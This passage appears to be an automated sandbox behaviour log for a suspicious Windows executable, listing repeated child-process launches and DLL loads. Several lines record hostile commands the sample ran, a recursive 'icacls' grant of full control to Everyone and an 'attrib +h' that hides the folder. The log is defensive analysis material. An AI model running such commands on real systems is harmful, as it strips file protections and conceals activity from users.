          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Windows\SysWOW64\icacls.exe icacls . /grant Everyone:F /T /C /Q
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Windows\SysWOW64\icacls.exe icacls . /grant Everyone:F /T /C /Q
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Windows\SysWOW64\attrib.exe attrib +h .
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: unknown unknown
          Source: C:\Users\user\Desktop\f_000112.exeSection loaded: cryptsp.dllJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeSection loaded: rsaenh.dllJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeSection loaded: cryptbase.dllJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeSection loaded: msvcp60.dllJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeSection loaded: ntmarta.dllJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeSection loaded: apphelp.dllJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeSection loaded: wldp.dllJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeSection loaded: sspicli.dllJump to behavior
          Source: C:\Windows\SysWOW64\attrib.exeSection loaded: ulib.dll
          Source: C:\Windows\SysWOW64\attrib.exeSection loaded: fsutilext.dll
          Source: C:\Windows\SysWOW64\icacls.exeSection loaded: ntmarta.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: apphelp.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: version.dll
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: kernel.appcore.dll
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: uxtheme.dll
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: sxs.dll
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: vbscript.dll
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: amsi.dll
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: userenv.dll
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: profapi.dll
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: wldp.dll
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: msasn1.dll
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: cryptsp.dll
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: rsaenh.dll
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: cryptbase.dll
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: msisip.dll
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: wshext.dll
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: scrobj.dll
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: mpr.dll
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: scrrun.dll
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: windows.storage.dll
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: propsys.dll
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: linkinfo.dll
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: ntshrui.dll
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: sspicli.dll
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: srvcli.dll
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: cscapi.dll
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: netutils.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
